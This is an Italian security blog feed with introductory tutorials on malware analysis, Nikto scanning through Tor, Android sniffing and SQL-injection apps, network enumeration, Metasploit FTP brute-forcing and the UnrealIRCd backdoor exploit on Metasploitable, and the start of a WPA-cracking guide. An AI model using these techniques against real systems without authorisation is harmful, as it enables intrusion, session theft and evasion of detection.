Quantcast
Channel: Mr. Touch – HackTips
Viewing all 123 articles
Browse latest View live

Analisi statica di base di un Malware

$
0
0

L’analisi statica consiste nell’analizzare un Malware senza avviarlo, studiandone il codice e le funzioni per determinarne il comportamento. Questo articolo vuole essere un’introduzione alle tecniche di base per riconoscerne uno e iniziare ad analizzarlo.

I link sottolineati e in rosso potrebbero risultare dannosi, apriteli con le dovute precauzioni; anche se si scaricheranno malware già riconosciuti e non si avvieranno, consiglio di testare il tutto su una macchina virtuale (io userò Remnux) o su un dispositivo fisico da utilizzare solo per questo scopo. Il file che utilizzerò l’ho scaricato da questa lista ed è questo.

Scansione antivirus

Sembrerà strano, ma il primo utile passo da compiere è fare una scansione antivirus del file in questione in modo da capire subito quanto è considerato dannoso e identificare già cosa possa essere. Una scansione con VirusTotal, mostra che è considerato un Trojan da 22 antivirus su 57, il che fa pensare che del codice maligno sicuramente è presente.

Oltre a farlo analizzare online, potete ricavare l’MD5 con questo comando (in linux)

md5sum setup.exe

e poi cercare su un qualsiasi motore di ricerca la stringa risultante.

Trovare le stringhe

Questa funzione può essere utile per programmi piccoli, o per Malware con poche righe di codice. Digitando

strings setup.exe

mi escono migliaia di righe, quelle utili possono essere:

  1. Nomi con il punto davanti, come questi
    • La sezione .text contiene le istruzioni che eseguirà la CPU (il codice dell’eseguibile);
    • La sezione .rdata solitamente contiene le informazioni da importare ed esportare. Può inoltre salvare dai dati read-only (ossia che si può solo leggere) usati dal programma;
    • La sezione .data contiene i dati globali dell’eseguibile;
    • La sezione .rsrc include le risorse utilizzati dall’eseguibile che non vengono considerate parte di esso, come icone, immagini, menu e stringhe.
  2. Stringhe con la maiuscola, le quali identificano delle specifiche funzioni di Windows, come
  3. Indirizzi IP, che non ho trovato in questo file;
  4. File .DLL, i quali identificano le librerie dinamiche utilizzate da Windows.

Malware ofuscati

Molti malware sono ofuscati in modo da rendere più difficoltoso il riconoscimento. Per esserlo includono almeno le funzioni LoadLibrary e GetProcAddress.  Per vedere se è ofuscato o impacchettato potete usare UPX con il comando

upx -d setup.exe

Analisi

Con il software peframe vado ad analizzare il file. Per prima cosa scopro che è impacchettato

e rileva anche una sezione sospetta, nella quale probabilmente si trovano le istruzioni maligne

 

Conclusioni

Come si può osservare, questo tipo di analisi fornisce poche informazioni rilevanti, ma ci permette di stabilire con che tipo di malware abbiamo a che fare e le funzioni che danneggiano il dispositivo.

I software principali per questa analisi sono:

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips


Trovare vulnerabilità di un sito con Nikto

$
0
0

home

Nikto è uno scanner Open-Source di web server, utile quando dobbiamo fare dei test preliminari e generici sul nostro obbiettivo. Durante la scansione ci permette di:

  • Trovare configurazioni errate del server e del software installati sul sito;
  • Trovare file (come testi, password, etc.) presenti sull’obbiettivo ma non protetti;
  • Trovare versioni del server/software vulnerabili e non aggiornati.

Ho utilizzato Nikto su Mutillidae, ricordo che non è propriamente lecito utilizzarlo su piattaforme web senza autorizzazione. Il software non è stato creato per una scansione “silenziosa” ma effettua più richieste possibili nel minor tempo possibile, quindi sarà facile essere individuati (nel mio caso, scansionando da un computer ad un altro ho avuto, sul computer target, un incremento di banda in upload di circa 200-250 kb/s).  Per essere anonimi con questo software è molto semplice: basta andare in

/etc/nikto/config.txt

e impostare come PROXYHOST=127.0.0.1 e PROXYPORT=9050. Dopo averlo fatto, digitate sul terminale:

service tor start

e quando userete i comandi di nikto, basterà mettere l’opzione:

-useproxy

In questo modo tutte le richieste passeranno attraverso Tor.

Comandi principali

Digitando

nikto -h

l’output sarà:
help

dove le opzioni principali sono:

  • -Format: il formato del file che vogliamo salvare come output;
  • -host: l’obbiettico della nostra scansione;
  • -list-plugins: la lista dei plugin disponibili in Nikto (di default li carica tutti);
  • -output: il nome del file che vogliamo usare come output;
  • -port: le porte che vogliamo scansionare, di default è la 80;
  • -Tuning: il tipo di test che vogliamo effettuare (che può essere Dos, Injection, File Uploads, etc.) Di default sono tutti, la lista completa si trova qui.

Se invece digitate -H (al posto di -h) verrà visualizzato l’aiuto completo, con ogni spiegazione alle varie opzioni (consiglio a chi vuole, di leggere questa pagina, dove sono presenti tutte le opzioni con le dovute spiegazioni e/o esempi).

 

Scansione

Il comando che ho utilizzato è

nikto -h 192.168.1.101 -Display 4,D,V -mutate 2,3,5 -o nikto.html -port 80,443

dove:

  • -h 192.168.1.101 è l’indirizzo del dispositivo su cui è installato mutillidae, se lo fate sulla stessa macchina sarà 127.0.0.1;
  • -Display: vengono visualizzate informazioni aggiuntive, nel mio caso
    • 4: vengono visualizzati gli URL che necessitano di autenticazione;
    • D: output in modalità debug, ossia con informazioni aggiuntive;
    • V: output maggiore;
  • -mutate: aggiunge tecniche di mutazione, ossia combina diversi test e aumenta le richieste al web server. Nel mio caso ho aggiunto (2) la ricerca di file contenenti password, (3) cerca i nomi degli utenti tramite apache, (5) effettua il bruteforce alla ricerca di sottodomini;
  • -o nikto.html: il nome del file di output con estensione html;
  • -port: le porte da scansionare.

Dopo una decina di minuti, la scansione ha terminato e il file di output è stato creato. Potete guardare il risultato anche da terminale, avrà molte più informazioni, specialmente con l’opzione Debug. Invece il file html è un sunto delle informazioni più rilevanti e, andandolo ad aprire con il browser ci troviamo di fronte a moltissime voci (in questo caso, visto che Mutillidae è vulnerabile per definizione stessa). Ecco quali (tra le tante) possono essere utili:

  1. Versione del Web Server ed software installatiwebserver
  2. Il sito sembra esser vulnerabile alla vulnerabilità “shellshock”, e cercando sull’NVD trovo subito informazioni aggiuntive 3shell
  3. Nikto ha trovato il file delle password, ed aprendo il link, scopro le password utilizzate4psw
  4. Pagina della versione di PHP e una probabile vulnerabilità5phpinfo

Conclusioni

Nikto è un ottimo software per iniziare una fase di scanning di un obbiettivo, fornisce un’analisi dettagliata delle vulnerabilità presenti e il nome di esse, in modo da poter cercare tramite motore di ricerca come effettuare un’exploit di una specifica falla. Ovviamente da solo non serve a molto, ma se dopo un’analisi con esso si cerca su metasploit (o simile) una vulnerabilità, le probabilità di riuscire a penetrare un sistema aumentano considerevolmente.

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Analisi dinamica di base di un Malware

$
0
0

L’analisi dinamica consinste nell’esaminare un Malware quando è in esecuzione ed è tipicamente effettuata dopo aver compiuto l’analisi statica di base.  Rispetto a quella statica, questa fase permette di osservare le funzionalità del file in esame dal “vivo”. Ad esempio se in quella statica viene trovata una stringa eseguibile non è detto che sarà poi eseguita dal programma.
Per effettuare quest’analisi ci vengono incontro le Malware Sandbox. Una sandbox è un meccanismo di sicurezza che ci permette di eseguire dei programmi non sicuri in un ambiente protetto per evitare di infettare i nostri dispositivi o la rete ad essi connessi. In rete ne esistono diverse, sia gratute che a pagamento. Io utilizzerò Sandboxie, un sistema di analisi Malware disponibile per Windows, installato su una macchina virtuale Windows.

Attenzione: ricordo di prestare attenzione con qualsiasi Malware avrete a che fare, non mi assumo nessuna responsabilità nel caso qualcosa dovesse andare storto.

Installazione

Per prima cosa vado a scaricare il Malware dalla stessa lista dello scorso articolo ed installo Sandboxie sulla macchina virtuale

1

Dopo averla installata, eseguo il Malware in ambiente protetto (icona in basso di Sandboxie, testo destro, “Avvia un programma”)

2

ed installo il software maligno. Mentre si installa e inizia ad infettare il dispositivo, analizzo il file con Malwr. Malwr è un servizio di analisi Malware gratuito sul quale si possono caricare file e li analizza in modo dettagliato, utilizzando la sandbox Open-Source Cuckoo insieme a Virustotal.

Analisi di Malwr

Per prima cosa mi avvisa dicendo che è effettivamente maligno, e riporta che il file:

  • effettua delle richieste HTTP a un sito;
  • il processo ha provato ad evitare la scansione effettuando uno sleep;
  • il file si avvia automaticamente ogni avvio del dispositivo

2b

L’analisi statica mostra tutte le funzioni che utilizza il programma, le sezioni e la scansione di VirusTotal. Osservando le reazioni dei vari antivirus possiamo concludere che è un Adware.

2c

E infatti tornando sul computer infetto ci troviamo di fronte a Popup fastidiosi in tutto lo schermo, homepage del browser cambiate e siti cinesi salvati nei preferiti:

43

 

Analisi dei processi

Tramite il task manager, guardo i processi attivi e ne noto 3 in cinese, ovviamente sono quelli maligni.

4b

 

Per analizzare in dettaglio i processi, scarico e installo Procmonitor. Esso permette di visualizzare in modo dettagliato i processi su Windows, osservare il loro comportamento, l’utilizzo di rete di ognugno, i registri utilizzati e modificati, etc.  Procmon cattura tantissimi dati, e bisogna necessariamente utilizzare i filtri messi a disposizione. Seleziono il processo padre (hmrl.exe) e lo applico come filtro (tasto destro, Applica come filtro), in modo da vedere i figli e cosa stanno facendo.

5

 

Dopo pochi minuti, nella tab Tools provo a guardare i riassunti delle attività. 6

Per primo guardo lo Stack, come si può osservare ogni file eseguibile ha il proprio percorso, modulo e il tempo di attività.

7

Mi ha invece sopreso che nessun modulo ha avuto accesso ad internet, mentre Malwr nel report che ha creato, faceva osservare che il software provava a conntettersi ad un sito

8

Se si fosse connesso ad internet, avrei analizzato i dati con Wireshark, in modo da osservare cosa effettivamente potesse passare o inviare al sito in oggetto.

 

Conclusioni

Tutti i passaggi effettuati sono un’introduzione all’analisi dinamica di base, ricapitolando i più importanti sono:

  1. Creare un ambiente ad-hoc protetto;
  2. Analizzare il software con Malwr;
  3. Installarlo ed analizzare i processi tramite ProcMon;
  4. Filtrare i processi, osservare il loro comportamente nel sistema;
  5. Utilizzare una rete virtuale tramite INetSim e ApateDNS (non utilizzate da me poichè alla rete non si connetteva);
  6. Analizzare il traffico di rete con Wireshark;

Quest’analisi può solo confermare ciò che si è scoperto nell’analisi statica di base. Se volete osservare il report di Malwr, lo trovare a questo indirizzo.

Per poter analizzare in dettaglio questi software bisogna necessariamente effettuare del reverse-engineer o utilizzare dei disassemblatori passando quindi al livello binario. Prossimamente ci saranno articoli per spiegarli in dettaglio.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

[Android] Applicazioni per effettuare pentesting

$
0
0

Negli ultimi anni l’utilizzo di smartphone, tablet e dispositivi mobile è cresciuto notevolmente, tanto da superare l’uso di computer fissi e portatili. Ma si può effettuare penetration testing da mobile?

Dopo che è stato pubblicato Kali Nethunter, ho iniziato a testare varie applicazioni per Android, osservando il loro comportamento e se potrebbero essere utili per un eventuale attacco, per trovare vulnerabilità o sfruttare bug per violare un sistema. Ecco quali (a mio oltremodo discutibile) parere possono essere interessanti:

Fing – Network Tools

fing

Fing è un applicazione che permette di scansionare un rete, trovando i dispositivi connessi ad essa, le porte aperte di ognuno di essi e altre funzionalità, tra le quali:

  • Whois di un indirizzo IP;
  • Scansionare i servizi TCP attivi in un host;
  • Nascondere l’ultima parte del proprio MAC address durante la scansione;
  • Visualizzare il MAC address, l’indirizzo IP interno della rete e il nome dell’host;
  • Esportare la scansione in formato Html,Csv,Xml;

Sembra simile a nmap, in versione ovviamente ridotta e con una GUI decisamente efficace. Nessun banner, gratis e con poche limitazioni (per averle basta registrarsi al sito). Il rating su PCmag è eccellente.

 

DroidSheep

droidsheep-android-app

Droidsheep è un applicazione che permetteva di catturare dati da facebook, twitter, linkedin e altri siti (che non usano SSL, quindi oramai ben pochi). Non è stato sviluppato per rubare informazioni sensibili, ma solo per dimostrare quanto possano essere poco sicuri anche i maggiori siti web e come gli utenti dovrebbero stare attenti. Essendo illegale come applicazione è stato rimossa sia da Google Play che dal sito ufficiale. Dopo qualche ricerca sono riuscito a trovare la versione 1.4 originale (quindi il codice md5 coincide con quello dichiarato dallo sviluppatore) a questo indirizzo.

 

FaceNiff

facesniff

FaceNiff permette di sniffare le sessioni web che vengono aperte nella rete a cui siamo connessi. Si può determinare la sessione solo se si è in reti private, il sito che viene intercettato non utilizza SSL e il Wi-Fi a cui siamo connessi non usa il metodo EAP. Molto user-friendly e semplice da usare, anche se datato. Sui pochi siti che non usano SSL funziona.

 

Shark for Root

Simile a Wireshark, Shark è un “traffic sniffer”, ossia cattura tutto ciò che passa sulla rete e permette di analizzare il file anche sul proprio computer.  Oltre a catturare i dati sulla rete normale può analizzare anche quelli che passano per la connessione 3G, in modo da poter analizzare anche l’utilizzo della propria banda mobile.

 

Network Mapper

mapper

L’ho trovato molti simile a Fing, ma decisamente più veloce. Da la possibilità di scansionare tutta la rete a cui siamo connessi, trovare sistemi protetti da firewall, server FTP, server SMB e soprattutto esportare la propria scansione in formato CSV, in modo da poterlo analizzare anche sul proprio computer.

 

DroidSQLi

droid

Sembra essere la prima applicazione per effettuare in modo automatico SQL injection tramite Android, ma solo su MySQL. Supporta le seguenti tecniche:

Su Irongeek è presente un video dimostrativo dell’app, il download si trova a questo indirizzo.

 

Sicuramente non possiamo arrivare alla conclusione che utilizzare un sistema mobile sia meglio rispetto a un computer. Di applicazioni ne esistono poche rispetto alle migliaia di software (Open-Source e gratuiti) che sono disponibili per Windows, Linux e Mac e con meno funzionalità. Se abbiamo bisogno però di una scansione veloce, di rilevare problemi in una rete alcune applicazioni possono comunque fare al caso nostro e possono essere decisamente utili.

Se siete a conoscenza di altre applicazioni, segnalatelo pure, sarà mia premura testarle ed eventualmente inserirle nell’articolo!

 

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Le migliori VPN del 2016

$
0
0

VPN

Le VPN (Virtual Private Network) sono reti virtuali private, ossia sistemi di comunicazione che permettono di creare una proprio rete privata per navigare in internet in completa sicurezza e (possibile) anonimato. In termini decisamente semplici, tramite un VPN ci si può collegare ad un server come se si fosse fisicamente connessi tramite cavo di rete o wireless. Le suddette reti utilizzano:

  • collegamenti che necessitano di autorizzazione in modo da garantire l’accesso solo agli utenti autorizzati;
  • protocolli che provvedono a cifrare il traffico transitante sulla rete virtuale;
  • firewall tra il computer dell’utente e il server, in modo che i dati transitanti sono autenticati.

Per essere protetti, i dati scambiati sulla rete devono essere incapsulati tramite un processo definito Tunneling.

Solitamente le VPN vengono utilizzate dalle aziende, poiché migliora la sicurezza, riduce i costi, estende la connettività geografica e molto altro. Ma per l’utente quali sono i vantaggi, e perchè dovrebbe usufruirne?

  1. C’è la possibilità di nagivare in modo anonimo;
  2. C’è la possibilità di scaricare file protetti da copyright senza essere riconosciuti (anche se per questo sono dell’idea che sia meglio utilizzare una Seedbox);
  3. Si può aggirare qualsiasi blocco e visitare siti censurati.

vpnprivacy

In rete sono presenti centinaia di servizi, sia gratuiti che a pagamento, quindi quale possiamo scegliere in base alle nostre esigenze?

Tempo fa su reddit un utente ha creato una tabella per comparare le VPN più utilizzate in base ai diversi criteri, tra i quali:

  1. Privacy:
    • il server è collocato in uno dei paesi appartenenti all’accordo UKUSA? Se si, per chi tiene seriamente alla privacy dovrebbe starne alla larga;14eyes
    • il server registra il traffico? Se si, meglio evitare..
    • il server registra da dove ti connetti, per quanto tempo, quale è il tuo IP? Se si, non sono molto anonime..
    • il server accetta BitCoin, accetta registrazioni anonime, soddisfa i criteri di privacytools.io?
  2. Configurazione tecnica:
    • è protetto? ha il proprio server DNS? Sicuramente meglio che lo abbia;
    • blocca il servizio P2P? Dipende dai proprio scopi;
    • Sicurezza:
      • Come vengono crittografati i dati? AES-256 è sicuramente l’ideale;
      • In che modo viene effettuato l’handshake? RSA-2048 è l’ideale;
  3. Disponibilità:
    • quante connessioni contemporanee possibili sono accettate? Dipende dai proprio scopi;
    • in quali nazioni è disponibile? Questo dato non è molto affidabile, in quanto alcuni servizi non riportano il numero esatto. Meglio fare delle indagini per conto proprio;
    • quanti server ha a disposizione? Come sopra, alcuni utilizzano server virtuali e il conteggio viene sfasato;
  4. Sito internet:
    • tipi di cookies utilizzzati, sia interni che di terze parti;
    • tipo di certificato utilizzato: se il certificato proviene da una società esterna o azienda privata (come Cloudfare) penso sia meglio evitare;
  5. Prezzo:
    • costo mensile/annuale;
    • possibilità di prova gratuita;
    • rimborso del servizio;

Le VPN non sono ordinate secondo qualche criterio della tabella, ma solo in ordine alfabetico.

La tabella si trova a questo indirizzo, mentre per chi vuole analizzarla sul proprio computer, xlsx e ods. Ringrazio ThatOnePrivacyGuy per il lavoro svolto.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Tecniche di Enumerazione

$
0
0

L’enumerazione è il processo di estrazione del nome degli utenti, delle macchine e dei servizi prelevandoli da un sistema o applicazione attiva. Nella fase di enumerazione l’attaccante cerca di creare connessioni attive al sistema utilizzando le informazioni rilevate durante la fase di scanning. Le informazioni che possono essere ricavate da questo attacco sono:

  • risorse di rete;
  • utenti e gruppi attivi online;
  • nomi delle macchine online;
  • applicazioni attive;
  • dettagli dei servizi SNMP;

Le tecniche di enumerazione sono diverse, tra le tante si possono identificare:

  1. Estrarre username utilizzando servizi mail;
  2. Estrarre informazioni utilizzando password di default;
  3. Estrarre nomi utenti utilizzando SNMP;
  4. Estrarre i gruppi di utenti con Windows.

Per questa tecnica esistono delle porte specifiche su cui focalizzarsi. Se esse sono attive su di un host si può attuare l’attacco. Le principali sono:

  • TCP 25: SMTP;
  • TCP 53: significa che è in corso una comunicazione tra DNS (utilizzata per connessioni tra database e server);
  • TCP 135: la porta 135 è utilizzata solitamente da modem e router (con il servizio rpc attivo);
  • TCP 137: è attivo il servizio NetBios. NetBios Name Servers è un servizio di Windows, utilizzato per connettere il proprio computer alla rete locale. Se viene trovato attivo e in funzione, è possibile che sia facilmente vulnerabile;
  • TCP 445: servizio di windows con cui si possono condividere file e cartelle;
  • UDP 161: SNMP
  • TCP/UDP 389: LDAP;
  • TCP/UDP 3368: Global Catalog Service;

Per una lista completa di tutte le porte e servizi noti potete fare riferimento a Wikipedia.

Enumerazione NetBIOS

NetBIOS è un protocollo di livello sessione, destinato all’uso nelle reti locali.
Se viene trovata la porta 139 aperta e attiva si può rilevare:

  • la lista dei computer connessi alla macchina;
  • le password salvate;

Se il servizio è attivo e vulnerabile, oltre a poter leggere e scrivere da remoto c’è la possibilità di lanciare un denial-of-service.

Per verificare se è attivo, oltre a provare ad effettuare una semplice scansione, possiamo anche utilizzare metasploit (farò una guida a riguardo). I comandi che vado ad utilizzare sono

root@kali:~# msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'

I love shells --egypt

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.11.5-2016010401 ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Seleziono il comando che mi interessa

msf > use auxiliary/scanner/netbios/nbname

Visualizzo le informazioni del comando

msf auxiliary(nbname) > info

Name: NetBIOS Information Discovery
Module: auxiliary/scanner/netbios/nbname
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS yes The target address range or CIDR identifier
RPORT 137 yes The target port
THREADS 10 yes The number of concurrent threads

Description:
Discover host information through NetBIOS

Imposto il range di IP

msf auxiliary(nbname) > set RHOSTS 172.16.43.160-195
RHOSTS => 172.16.43.160-195

Imposto il numero di threads a 35 (il numero degli host)
msf auxiliary(nbname) > set THREADS 35
THREADS => 35

Eseguo il test con il comando run
msf auxiliary(nbname) > run

[*] Sending NetBIOS requests to 172.16.43.160->172.16.43.195 (36 hosts)
[*] 172.16.43.188 [MA[..]] OS:Windows Names:(MA[..]) Addresses:(172.16.43.188) Mac:00:[..]:ad
[*] Scanned 36 of 36 hosts (100% complete)
[*] Auxiliary module execution completed

Come potete vedere ho trovato un host che ha il servizio attivo. Con il comando

root@kali:~# nmblookup -A 172.16.43.188
Looking up status of 172.16.43.188
	MA[..]  -         H  

	MAC Address = 00[..]AD

scopro il tipo di nodo utilizzato (in questo caso H). Provo quindi a vedere se possono connettermi

root@kali:~# smbclient -L \\MACBOOKPRO-D60C -I 172.16.43.188 -N
Connection to 172.16.43.188 failed (Error NT_STATUS_CONNECTION_REFUSED)

ma a quanto pare è presente una password, e non vado oltre.

Enumerazione dei sistemi utilizzando la password di default

I dispositivi come router, modem e access point hanno una password di default. Queste password vengono stabilite dai produttori dell’hardware e viene vivamente consigliato di cambiarle appena si avvia per la prima volta il dispositivo. Per le principali password dei dispositvi fate riferimento a;:

Conoscendo queste password si può avere accesso alle risorse senza dover scansionare o trovare vulnterabilità.

Enumerazione SNMP

Simple Network Management Protocol è un protocollo di rete su cui girano applicazioni per mantenere e gestire router, modem e hub. Utilizzando il suddetto protocollo si possono rilevare gli account e i dispositivi connessi a un determinato sistema. Per linux i tools per l’enumerazione SNMP sono snmpcheck e snmpwalk.

Un’altro software per l’enumerazione in una rete è enum4linux. Viene utilizzato per l’enumerazione di servizi attivi su Windows e Samba e, utilizzandolo in modo appropriato, si può ricavare:

  • la lista degli utenti;
  • la lista delle macchine;
  • la lista delle cartelle condivise;
  • e molto altro…

Enumerazione NTP

NTP è un protocollo che permette di sincronizzare gli orologi dei computer connessi all’interno di una rete a commutazione di pacchetto e utilizza la porta 123.
I tools che si possono utilizzare in questo caso sono:

  • ntptrace;
  • ntpdc;
  • ntpq.

 

Enumerazione DNS

Questa tecnica viene effettuata per localizzare il DNS server di un obbiettivo e registrare i passaggi che effettua per raggiungere il server. Questa tecnica permette di rilevare i nome dei server DNS, gli hostname, i nomi delle macchine e gli indirizzi IP delle potenziai vittime. Un tool molto semplice può essere dnsenum. Basta digitare

dnsenum sito.it

ed ecco che riesco a trovare gli indirizzi IP del DNS e della mail

dnsenum

 

Spero di essere stato il più chiaro possibile, questo tipo di attacco è quello appena precedente ad effettuare exploit e riuscire a sfruttare delle vulnerabilità per entrare nei sistemi. Se, come al solito, pensate che manchi qualcosa, segnalatelo pure.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Trovare e sfruttare vulnerabilità utilizzando Metasploit

$
0
0

msfintro

Metasploit  è uno dei software più utilizzati e utili per effettuare exploit e trovare vulnerabilità in un dispositivo. Dopo che il tool è stato aquisito dalla Rapid7 è stato diviso in diversi software, che sono:

  • Metasploit Framework: quello che userò io, è la versione gratuita ed Open-Source che si trova preinstallata in Kali Linux, disponibile anche per Windows e OS X;
  • Metasploit Community Edition: è un’interfaccia web che permette di effettuare scan, trovare vulnerabilità e molto altro. Si trova gratis a questo indirizzo;
  • Metasploit Express: versione più completa rispetto alla Community edition, costa circa 3.000 $ all’anno;
  • Metasploit Pro: versione pro, include tutte le funzionalità delle prime due, tool per effettuare social engineering, brute-force automatico e molto altro (ma cosa 15.000 $ all’anno, è infatti ideata per aziende).

Visto che il tool è, oltre che complesso, ampiamente documentato cercherò di inserire link alle guide ufficiale per alcuni passaggi in modo da non dover scrivere passo per passo certi comandi. Trovate la documentazione ufficiale (con installazione, manuale d’uso, utilizzo di alcuni comandi) a questo indirizzo. Un’altra risorsa utile è questa, contiene video e guide per molti comandi. Saranno presenti alcuni termini in inglese, poiché non sono riuscito a tradurre in italiano. I principali sono:

  • Exploit: Un attaccante sfrutta un exploit per riuscire ad entrare in un sistema. Per entrare in un sistema si possono utilizzare vulnerabilità, bug o configurazione errate dello stesso;
  • Payload: è un codice che vogliamo eseguire sul sistema. Per esempio, un reverse shell è un payload che crea una connessione tra il sistema attaccato e l’attaccante e permette di utilizzare il prompt dei comandi (ad esempio) di Windows;

 

Introduzione

Metasploit Framework è un software a riga di comando, contiene centinaia di exploits nel proprio database ed è aggiornato settimanalmente con le più recenti vulnerabilità per ogni tipo di sistema operativo, piattaforma e applicazioni trovate dalla comunità. Dopo averlo installato, digito

root@kali:~# msfconsole

e controllo se il database è connesso

Screenshot from 2016-04-14 14-01-37

Se il database non è connesso, uscite da metasploit (digitando exit) e nel terminale:

sudo service postgresql start

Riprovate ad avviarlo, se da ancora errore, uscite e digitate nel terminale

msfdb reinit

In questo modo dovrebbe re-inizializzare il database e vi permetterà di utilizzarlo. Avere un database è importante, poiché ogni scansione che fare Metasploit salverà gli host, le vulnerabilità e descrizioni. Quando vorrete eliminare tutto basterà digitare “msfdb reinit” il database tornerà come nuovo.

I servici salvati nel mio database
I servizi salvati nel mio database

Per visualizzare tutti i comandi disponibili basta digitare help e verrà visualizzato l’elenco di aiuto.

Ottenere informazioni, fase di scansione

Metasploit permette effettuare tutte le fasi che un penetration tester (o hacker) deve compiere. Si può utilizzare nmap direttamente dal software, digitando

db_nmap comando IP
Esempio:
nmap -sn 192.168.1.1/24

oppure si può effettuare una scanning utilizzando i moduli che ci fornisce il software. Per sapere quali sono i moduli presenti (per scansionare) che ci interessano, basta digitare

search scanner

Screenshot from 2016-04-14 14-25-03

Se invece, dopo aver effettuato una scansione (con nmap, ad esempio) vedo che l’obbiettivo ha la porta FTP attiva, basta che digito

info auxiliary/scanner/ftp/

e poi clicco il tasto TAB della tastiera. Ecco che mi visualizza tutti i moduli disponibili per le mie necessità

ftpscan

Seleziono auxiliary/scanner/ftp/ftp_version per poter visualizzare la versione che utilizza il mio obbiettivo. I passaggi che ora effettuerò sono praticamente gli stessi per ogni modulo, l’importante è capire come funziona.

Digito

use auxiliary/scanner/ftp/ftp_version

in modo da selezionare il modulo scelto e poi visualizzo le informazioni che necessita per poter essere eseguito con il comando

info

Screenshot from 2016-04-14 14-38-36

Ora abbiamo un elenco di stringhe che dobbiamo impostare, la schermata che si presenta davanti è composta da:

  • Name: nome del parametro. Per ogni modulo ci saranno informazioni diversi, i più comuni sono:
    • RHOSTS: il nostro obbiettivo, che può essere una lista di IP o solo uno;
    • RPORT: la porta da scansionare, nel nostro caso è preimpostata a 21;
    • THREAD: il numero di threads da utilizzare, in questo caso ho un indirizzo IP, quindi me ne basta uno.
  • Current Setting: impostazioni definite al momento dell’apertura del modulo;
  • Required: se è yes è necessario inserire quel parametro, altrimenti il modulo non potrà essere avviato;
  • Description: descrizione del parametro;

Per impostare un parametro, basta che digito (lo potete vedere nell’immagine)

SET nome parametro
Ad esempio:
set RHOSTS 192.168.1.1

Dopo aver inserito tutti i parametri di cui abbiamo bisogno, si può digitare ancora info per vedere se abbiamo inserito tutto correttamente, oppure facciamo partire il software, digitando

run
oppure
exploit

Esistono tantissimi moduli per effettuare scansioni, sta solo a noi trovare quello che più ci serve.

 

Exploit

Riuscire ad evadere un sistema senza averne le credenziali o l’accesso fisico è uno degli obbiettivi principali in questo campo, ed anche una bella sensazione. Dopo aver effettuato la fase dello scanning, abbiamo a disposizione diverse porte e servizi da testare, ecco alcuni esempi.

Ricorco che evadere un sistema senza le dovute autorizzazioni è illegale e punibile penalmente.

Dopo aver fatto una scansione veloce della rete di casa mia, mi incuriosisce il fatto che ci sia la porta 21 del modem sia aperta. Che non siano state modificate le password di default?

port

Cerco quindi, con il comando

 search ftp

un modulo che mi può esser utile, e seleziono fpt_login

fpt_login

Ora imposto il file della lista degli utenti e delle password (che ricordo, si trova qui)

set

Faccio partire l’attacco e dopo poco ecco che viene trovata la password e lo username (e quando ho comprato il modem, davvero erano queste, l’ho scoperto per caso tempo fa!).

passfind

 

Metasploitable

Per questo esempio utilizzerò Metasploitable, è una macchina virtuale per definizione stessa vulnerabile. Ha decine di porte aperte e servizi vulnerabili, potete trovarla a questo indirizzo.

Effettuo una scanione con nmap per vedere quali porte ha aperte il mio obbiettivo

prtmetasploitable

Vedo che c’è irc è attivo, e andando a cercare irc, l’unico modulo in unix è “unreal_ircd_3281_backdoor”. Lo seleziono, imposto RHOST e faccio partire l’attacco

Screenshot from 2016-04-15 11-49-25

Come potete vedere sono riuscito ad entrare nel sistema, e digitando whoami scopro di essere root

root

 

Conclusioni

Questo articolo vuole essere solo un’introduzione al software, riuscire a spiegarlo in maniera completa probabilmente ne verrebe fuori un libro. Per imparare ad utilizzarlo al meglio bisogna sperimentare al massimo, utilizzando metasploitable, macchine virtuali con Windows XP o anche versioni più recenti. Se pensate che manchi qualcosa di essenziale, segnalate pure che provvederò ad aggiungerlo.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Craccare una rete wireless [WPA-PSK] tramite aircrack

$
0
0

wpacrack

Questo articolo è per scopi didattici, farlo su reti su cui non si hanno autorizzazioni è illegale (articolo 615-ter del codice penale italiano).

Introduzione

Come per lo scorso articolo, utilizzerò il software Aircrack-ng. Esso, insieme ad aireplay e airodump, permette di sniffare e craccare una rete wireless WPA utilizzando una lista di parole (quindi non sarà una cosa certa come per il WEP).

WPA sta a significare Wi-Fi Protected Access ed è  un miglioramento dell’ormai defunto WEP. Per l’autenticazione prevede due possibili modalità:

  • Enterprise: viene utilizzato un server RADIUS che distribuisce le chiavi agli utenti;
  • Personal: quello che mostrerò nell’articolo, utilizza una chiave segreta condivisa da tutti gli host connessi alla rete.

WPA utilizza come protocollo crittografico TKIP, che a sua volta utilizza RC4, che è lo stesso del WEP, ma con chiavi a 128 bit e un IV a 48 bit.

Entro in modalità monitor

Per prima cosa digito:

ifconfig

per capire quale interfaccia è libera da poter modificare e iniziare il monitoraggio della rete.

root@kali:~# ifconfig 
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 00:[..]:2a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

